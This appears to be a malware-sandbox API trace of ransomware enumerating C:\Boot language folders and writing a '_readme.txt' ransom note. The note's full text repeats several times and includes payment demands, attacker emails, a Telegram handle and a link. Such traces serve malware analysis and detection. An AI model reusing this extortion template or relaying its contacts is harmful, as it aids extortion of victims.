[0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.845] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.845] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.847] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.847] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.847] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.847] PathFindFileNameW (pszPath="") returned="" [0124.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.847] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.848] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.848] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.848] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.848] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.848] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.848] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 0 [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.848] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.848] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.848] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.848] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.849] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.849] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.849] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.849] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0124.849] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.849] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0124.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.849] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.849] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0124.849] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.850] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0124.850] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.850] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.850] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.851] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0124.851] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.851] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.851] PathFindFileNameW (pszPath="") returned="" [0124.851] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.851] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.851] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.851] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.851] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.851] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0124.851] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0124.852] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is 